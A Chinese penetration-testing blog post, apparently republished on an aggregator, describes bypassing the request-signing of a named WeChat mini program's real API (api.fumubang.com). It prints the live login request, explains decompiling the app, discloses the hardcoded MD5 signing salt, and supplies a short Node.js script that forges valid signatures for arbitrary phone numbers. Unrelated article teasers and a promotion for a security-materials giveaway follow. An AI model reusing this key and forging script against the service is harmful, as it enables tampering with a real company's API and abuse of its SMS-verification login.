小程序绕过 sign 签名

news/2024/7/20 3:46:23 标签: 小程序, 绕过sign签名, 渗透测试

之前看到了一篇文章【小程序绕过sign签名思路】之前在做小程序渗透时也遇到了这种情况,但是直接放弃测试了,发现这种思路后,又遇到了这种情况,记录下过程。

并没有漏洞分享,仅仅是把小程序也分享出来,方便大家测试学习。

小程序 父母邦亲子旅行酒店营地乐园活动。

在登录时验证码登录的数据包

POST /wxapp/login/send_messages?format=json HTTP/1.1
Host: api.fumubang.com
Content-Length: 118
Xweb_xhr: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090819) XWEB/8555
Content-Type: application/json
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://servicewechat.com/wxef0aac3d44dcda51/214/page-frame.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"phone_num":"XXXXXXXX","version":"3.3.9","scene":1053,"appid":648481988,"sign":"85a840e3674201f2606b8b65f914b912"}

image

我们直接修改手机号,重放数据包。

image

提示签名失败。

打开对应的路径 C:\Users\1\Documents\WeChat Files\Applet

image

将目录下所有文件全部删除 并重新打开小程序,此时生成的唯一文件夹,就是对应的该小程序的代码。

image

小程序进行反编译

image

因为有一些依赖于 wx 所以只能提供思路

image

我们看到 sign 的创建流程

image

所以只需要构造满足 i.sign = a.create_sign(i, "d19e4abd1036063faa4218c139378c0e");​ 就好啦。

初期思路是这样子的

image

但是因为存在 wx 的依赖,无法运行成功,但是加密是在本地处理的,这样构造应该是不对的。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

柳暗花明

我们加入调试

image

发现第一个请求的数据包 /wxapp/index/get_kefu_phone 不需要登录就可以访问到这个界面,同时界面里也有 sign 参数。

利用微信开发者工具进行模拟操作。

加入断点

image

继续步入

image

可以添加字段 查看对应的值。

继续步入

image

该函数首先创建一个空数组 e​,然后通过 Object.keys(r).sort()​ 获取对象 r​ 的所有键,并进行排序。遍历排序后的键数组,判断键值是否符合特定条件,并将满足条件的键值对拼接成字符串并存入数组 e​ 中。 最后得到的值是:

scene=1001&version=5.0.6d19e4abd1036063faa4218c139378c0e

image

返回值为 64d78d749828368851331593fa1e1ceb

image

image

就是对应字符串生成的 md5 的值。

我们修改一下数据包

image

发送成功。

修改手机号的数据包

image

image

将手机号修改后 提示签名失败。

phone_num=1xxxxxxxxx9&scene=1053&version=3.3.9d19e4abd1036063faa4218c139378c0e
a90b19243e471d648d8eb5022d48066c

phone_num=1xxxxxxxxx2&scene=1053&version=3.3.9d19e4abd1036063faa4218c139378c0e
85a840e3674201f2606b8b65f914b912

image

所以我们把代码稍微修改一下

"use strict";
var a = require("./md5.js");
var i = {"phone_num":"1xxxxxxxxxx2","version":"3.3.9","scene":1053,"appid":648481988}
i.sign = a.create_sign(i, "d19e4abd1036063faa4218c139378c0e");
console.log(i);

image

成功破解了 sign 签名,可以发送任意数据包。


http://www.niftyadmin.cn/n/5441353.html

相关文章

Docker常用命令!!!

一、docker基础命令 1、启动docker systemctl start docker 2、关闭docker systemctl stop docker 3、重启docker systemctl restart docker 4、docker设置随服务启动而自启动 systemctl enable docker 5、查看docker 运行状态 systemctl status docker 6、查看docker 版本号信…

Python基础----数据容器(持续更新中)

学习目标 1、容器里面都有什么 2、容器怎么进行切片 python里面基本的数据类型都有什么 布尔类型、整型、浮点型、字符串 (都是不可变的,一旦创建数据内容不可更改,只能更改指向内存) python中可以划分为:数字型、非数字型 数字型&#xf…

数学建模(熵权法 python代码 例子)

目录 介绍: 模板: 例子:择偶 极小型指标转化为极大型(正向化): 中间型指标转为极大型(正向化): 区间型指标转为极大型(正向化)&#xff1a…

【并发】第一篇 引用类型详细介绍

导航 1. 强引用(Strong Reference)2. 软引用(Soft Reference)3. 弱引用(Weak Reference)4. 虚引用(Phantom Reference)引用类型是一种数据类型,用于存储引用(或指针)指向实际数据所在内存地址的变量。与基本类型不同,基本类型的变量直接存储实际的数据值,而引用类型…

算法刷题day34:并查集

目录 引言一、合并集合二、连通块中点的数量三、网络分析四、格子游戏 引言 今天写的题集是并查集,其实感觉有两个难点,一个是,要维护多余的信息和路径压缩,另一个难点则是抽象出来合并集合的这个操作,还是要不断地练…

[C语言]——内存函数

目录 一.memcpy使用和模拟实现(内存拷贝) 二.memmove 使用和模拟实现 三.memset 函数的使用(内存设置) 四.memcmp 函数的使用 C语言中规定: memcpy拷贝的就是不重叠的内存memmove拷贝的就是重叠的内存但是在VS202…

CAPL如何实现TCP Packet的option字段

在TCP协议中,主机可以根据自身的需要决定TCP通信时是否携带option字段,来扩展TCP功能。option字段属于TCP首部的扩展部分,且是可选项,TCP根据首部中的offset字段值确定TCP报文是否携带option字段。 TCP首部固定的部分有20个字节,如果没有扩展部分(option字段),20个字节…

一个优秀的开源ChatGpt外壳项目(lobe-chat)

lobe-chat 简介: 开源、现代化设计的 ChatGPT/LLMs 聊天应用与开发框架支持语音合成、多模态、可扩展的插件系统,一键免费拥有你自己的 ChatGPT/Gemini/Ollama 应用。 下载lobe-chat lobe-chat项目开源地址:GitHub - lobehub/lobe-chat: &am…